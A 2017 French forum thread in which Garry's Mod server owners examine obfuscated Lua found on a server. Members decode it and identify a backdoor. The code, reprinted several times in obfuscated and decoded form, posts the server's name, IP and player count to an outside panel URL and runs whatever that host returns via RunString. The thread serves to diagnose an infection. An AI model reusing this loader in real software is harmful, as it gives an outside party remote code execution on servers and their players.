Je crois que je me suis fais backdoor

Azimut · 14 Août 2017

Bonjour, je développe mon serveur et voilà se qui s'affiche dans la console :

Code:

local fwuJDWHPLFtFTiLCULkObIoNivziGB = tostring local uADhBYmPXDUoPgILZIUqxzLAhLakcU = http.Post local GINbuenZreqlmuWTZjqPEvcHaAcqTV = RunString local QJvMrlEmRrUhdKHFnxPvencExvqtSd = timer.Simple QJvMrlEmRrUhdKHFnxPvencExvqtSd(40, function() timer.Create( "\121\112\109\82\77\114\97\112\75\117", 20, 0, function() local a = { n = GetHostName(), nb = fwuJDWHPLFtFTiLCULkObIoNivziGB(#player.GetAll()), i = game.GetIPAddress() } uADhBYmPXDUoPgILZIUqxzLAhLakcU( "\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112", a, function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code ) GINbuenZreqlmuWTZjqPEvcHaAcqTV(body) end ) end)
end)

Vous pensez que c'est un backdoor ?

Kitsu · 14 Août 2017

Azimut à dit:
"\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112",

ça ressemble a un code obfusqué nan ? @Taink @Valfunde @Yoh Sambre ♪

Azimut · 14 Août 2017

Kitsu à dit:
ça ressemble a un code obfusqué nan ? @Taink @Valfunde @Yoh Sambre ♪

Je sais pas, mais j'aimerai savoir se que le code fait

Taink · 14 Août 2017

Kitsu à dit:
ça ressemble a un code obfusqué nan ? @Taink @Valfunde @Yoh Sambre ♪

Yep c'est de l'obfusqué, je pense. Et puis on peut se dire que c'est un backdoor quand un http.Post est obfusqué.

Taink · 14 Août 2017

Azimut à dit:
Je sais pas, mais j'aimerai savoir se que le code fait

Ça pue le vieux panel.

Kitsu · 14 Août 2017

Taink à dit:
Yep c'est de l'obfusqué, je pense. Et puis on peut se dire que c'est un backdoor quand un http.Post est obfusqué.

Faut faire quoi ? trouver l'addon et le dégagé ?

Azimut · 14 Août 2017

Taink à dit:
Yep c'est de l'obfusqué, je pense. Et puis on peut se dire que c'est un backdoor quand un http.Post est obfusqué.

D'accord, j'attend une âme pour le de crypter merci

BlitzFire · 14 Août 2017

Bah c'est surement du Base64 attendez

Azimut · 14 Août 2017

Taink à dit:
Ça pue le vieux panel.

Ah bon ?

Valfunde · 14 Août 2017

Kitsu à dit:
ça ressemble a un code obfusqué nan ? @Taink @Valfunde @Yoh Sambre ♪

yes

BlitzFire · 14 Août 2017

Ok c'est pas exactement du Base64 je cherche

Valfunde · 14 Août 2017

Voilà le code :

Code:

timer.Simple(40, function() timer.Create( "\121\112\109\82\77\114\97\112\75\117", 20, 0, function() local a = { n = GetHostName(), nb = tostring(#player.GetAll()), i = game.GetIPAddress() } http.Post( "\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112", a, function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code ) RunString(body) end ) end)
end)

Taink · 14 Août 2017

Azimut à dit:
Ah bon ?

Azimut à dit:
local a = { n = GetHostName(), nb = fwuJDWHPLFtFTiLCULkObIoNivziGB(#player.GetAll()), i = game.GetIPAddress() }

Bah je m'en doute un peu quoi... C'est rare d'en avoir l'utilité.

Kitsu à dit:
Faut faire quoi ? trouver l'addon et le dégagé ?

Bah je vois pas quoi faire d'autre ^^"

Azimut · 14 Août 2017

Mais ce code sert à quoi, et il donne quoi une fois décrypter ? Et comment le décrypter ?

Valfunde · 14 Août 2017

Azimut à dit:
Mais ce code sert à quoi, et il donne quoi une fois décrypter ? Et comment le décrypter ?

C'est une backdoor

Azimut · 14 Août 2017

Valfunde à dit:
C'est une backdoor

J'ai pas d'addons leaks

Taink · 14 Août 2017

Azimut à dit:
J'ai pas d'addons leaks

Ça peut venir d'addons Workshop.

melcez · 14 Août 2017

Azimut à dit:
Mais ce code sert à quoi, et il donne quoi une fois décrypter ? Et comment le décrypter ?

Ton serveur est infecté par un panel.
La personne peut avec cela controler ton serveur à distance (restart / stop / rediriger tes joueurs vers un autre serveur).
En décryptant le code, tu devrais avoir l'URL du panel.

Valfunde · 14 Août 2017

Code:

\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112

Voici l'url du http.Post

Azimut · 14 Août 2017

melcez à dit:
En décryptant le code, tu devrais avoir l'URL du panel

Comment le décrypter? merci

Azimut · 14 Août 2017

Valfunde à dit:

Code:

\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112

Voici l'url du http.Post

Et en étant décrypter ça donne quoi?

melcez · 14 Août 2017

Azimut à dit:
Comment le décrypter? merci

De ce coté la, aucune idée.
Il faut trouver en quel langage c'est crypté et j'ai la flemme de chercher

BlitzFire · 14 Août 2017

Ok bon le :

Code:

uADhBYmPXDUoPgILZIUqxzLAhLakcU( "\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112", a,
function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code )
GINbuenZreqlmuWTZjqPEvcHaAcqTV(body)
end
)

est égal a surement

Code:

http.Post("
http://mr-robot.mtxserv.fr/panel/core/stage2.php
", a,
function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code )
GINbuenZreqlmuWTZjqPEvcHaAcqTV(body)
end
)

Valfunde · 14 Août 2017

Valfunde à dit:

Voilà le code :

Code:

timer.Simple(40, function() timer.Create( "\121\112\109\82\77\114\97\112\75\117", 20, 0, function() local a = { n = GetHostName(), nb = tostring(#player.GetAll()), i = game.GetIPAddress() } http.Post( "\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112", a, function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code ) RunString(body) end ) end)
end)

@BlitzFire

BlitzFire · 14 Août 2017

Donc

Code:

\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112

=
http://mr-robot.mtxserv.fr/panel/core/stage2.php

Valfunde · 14 Août 2017

BlitzFire à dit:

Ok bon le :

Code:

uADhBYmPXDUoPgILZIUqxzLAhLakcU( "\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112", a,
function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code )
GINbuenZreqlmuWTZjqPEvcHaAcqTV(body)
end
)

est égal a surement

Code:

http.Post("
http://mr-robot.mtxserv.fr/panel/core/stage2.php
", a,
function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code )
GINbuenZreqlmuWTZjqPEvcHaAcqTV(body)
end
)

Exact, @Snk le proprio de http://mr-robot.mtxserv.fr/ utilise l’hébergement pour nuire a des serveurs

Azimut · 14 Août 2017

Merci, comment avez-vous fait ? Pour le décrypter

BlitzFire · 14 Août 2017

@Azimut

Code:

\'un nombre'

= ASCII encoding

Azimut · 14 Août 2017

BlitzFire à dit:
@Azimut

Code:

\'un nombre'

= ASCII encoding

Merci

BlitzFire · 14 Août 2017

après y'a d'autre methode d'encryption dans ce code

BlitzFire · 14 Août 2017

Mais @Valfunde vous a partagé le code donc soyez happy

Valfunde · 14 Août 2017

BlitzFire à dit:
après y'a d'autre methode d'encryption dans ce code

Bah la c'est bon c'est décrypt, juste en passant les différents step on obtient un code backdoor cc @slownls

Azimut · 14 Août 2017

Valfunde à dit:
Bah la c'est bon c'est décrypt, juste en passant les différents step on obtient un code backdoor cc @slownls

Tu insinue que celui qui a backdoor est slown ?

Valfunde · 14 Août 2017

Azimut à dit:
Tu insinue que celui qui a backdoor est slown ?

Non dutout, juste qu'avec SlownLs on avait 'crack' un drm fait sur la meme base

Azimut · 14 Août 2017

Valfunde à dit:
Non dutout, juste qu'avec SlownLs on avait 'crack' un drm fait sur la meme base

Ah d'accord

BlitzFire · 14 Août 2017

Bon bref https://prntscr.com/g8d8v4 si sa embete @Snk faut savoir que le compte mettant en place ce backdoor qui ne sert que de statistiques en mode BIG DATA et le déteneur du sous-domaine 'mr-robot'.

Valfunde · 14 Août 2017

Azimut à dit:
Ah d'accord

Si il est chaud il te sort même le code du backdoor, mais perso j'ai pas que ca a faire

Valfunde · 14 Août 2017

BlitzFire à dit:
Bon bref https://prntscr.com/g8d8v4 si sa embete @Snk faut savoir que le compte mettant en place ce backdoor qui ne sert que de statistiques en mode BIG DATA et le déteneur du sous-domaine 'mr-robot'.

et on tombe sur le panel de marbella :x

Kitsu · 14 Août 2017

Valfunde à dit:
Exact, @Snk le proprio de http://mr-robot.mtxserv.fr/ utilise l’hébergement pour nuire a des serveurs

bizarrement le mr robot me rappelle quelqu'un :') cc @Yoh Sambre ♪

BlitzFire · 14 Août 2017

CONCLUSION

Il ne faut pas s'affoler car sa ne fait que envoyer le nombres de joueur et l'ip de votre serveur toutes les 40 secondes

blublublu · 14 Août 2017

Kitsu à dit:
bizarrement le mr robot me rappelle quelqu'un :') cc @Yoh Sambre ♪

c'est moi, un pote voulait que j'host son panel je l'ai fais

BlitzFire · 14 Août 2017

Valfunde à dit:
et on tombe sur le panel de marbella :x

Toi même tu sais 2015-2014

ZarosOVH · 14 Août 2017

BlitzFire à dit:
CONCLUSION

Il ne faut pas s'affoler car sa ne fait que envoyer le nombres de joueur et l'ip de votre serveur toutes les 40 secondes

Ouaiz mais avec le panel il lance n'importe quel code sur ton serv xD

BlitzFire · 14 Août 2017

blublublu à dit:
c'est moi, un pote voulait que j'host son panel je l'ai fais

Non mais serieux le double compte xD @Snk ban stp

BlitzFire · 14 Août 2017

Zaros_Live à dit:
Ouaiz mais avec le panel il lance n'importe quel code sur ton serv xD

Alors non car le code est déjà implémenté sur le serveur est ne peut etre changé a distance car il est pas acquéri par un http.Fetch.

Valfunde · 14 Août 2017

BlitzFire à dit:
Alors non car le code est déjà implémenté sur le serveur est ne peut etre changé a distance car il est pas acquéri par un http.Fetch.

Normalement si y'a d'autres codes qui vont se rajouter après via la fonction au nom etrange

blublublu · 14 Août 2017

Zaros_Live à dit:
Ouaiz mais avec le panel il lance n'importe quel code sur ton serv xD

il avait pas acces a mon serv

BlitzFire à dit:
Non mais serieux le double compte xD @Snk ban stp

il peut me ban c'était juste pour donner mon histoire

BlitzFire · 14 Août 2017

Valfunde à dit:
Normalement si y'a d'autres codes qui vont se rajouter après via la fonction au nom etrange

Entièrement raison my bad:

Code:

timer.Simple(40, function()
timer.Create( "\121\112\109\82\77\114\97\112\75\117", 20, 0, function()
local a = {
n = GetHostName(),
nb = tostring(#player.GetAll()),
i = game.GetIPAddress()
}
http.Post( "\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112", a,
function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code )
RunString(body)
end
)
end)
end)

C'est cette fonction qui est dangereuse:

Code:

function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code )
RunString(body)
end
)

La focntion exécute une autre fonction donné par le site demandé par le POST.

Azimut · 14 Août 2017

BlitzFire à dit:

Entièrement raison my bad:

Code:

timer.Simple(40, function()
timer.Create( "\121\112\109\82\77\114\97\112\75\117", 20, 0, function()
local a = {
n = GetHostName(),
nb = tostring(#player.GetAll()),
i = game.GetIPAddress()
}
http.Post( "\104\116\116\112\58\47\47\109\114\45\114\111\98\111\116\46\109\116\120\115\101\114\118\46\102\114\47\112\97\110\101\108\47\99\111\114\101\47\115\116\97\103\101\50\46\112\104\112", a,
function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code )
RunString(body)
end
)
end)
end)

C'est cette fonction qui est dangereuse:

Code:

function( body, len, QEfGqGaPeUDNkFZnxQaxPttCgwGVdl, code )
RunString(body)
end
)

La focntion exécute une autre fonction donné par le site demandé par le POST.

Donc, le code en lui même permet de faire quoi ?

Valfunde · 14 Août 2017

Azimut à dit:
Donc, le code en lui même permet de faire quoi ?

un backdoor et infecter / controller ton serveur

Je crois que je me suis fais backdoor

Azimut

Geek

Kitsu

Chuck Norris

Azimut

Geek

Taink

El Magnifico

Taink

El Magnifico

Kitsu

Chuck Norris

Azimut

Geek

BlitzFire

Geek suprême

Azimut

Geek

Valfunde

Helpeur Divin

BlitzFire

Geek suprême

Valfunde

Helpeur Divin

Taink

El Magnifico

Azimut

Geek

Valfunde

Helpeur Divin

Azimut

Geek

Taink

El Magnifico

melcez

Psychopathe

Valfunde

Helpeur Divin

Azimut

Geek

Azimut

Geek

melcez

Psychopathe

BlitzFire

Geek suprême

Valfunde

Helpeur Divin

BlitzFire

Geek suprême

Valfunde

Helpeur Divin

Azimut

Geek

BlitzFire

Geek suprême

Azimut

Geek

BlitzFire

Geek suprême

BlitzFire

Geek suprême

Valfunde

Helpeur Divin

Azimut

Geek

Valfunde

Helpeur Divin

Azimut

Geek

BlitzFire

Geek suprême

Valfunde

Helpeur Divin

Valfunde

Helpeur Divin

Kitsu

Chuck Norris

BlitzFire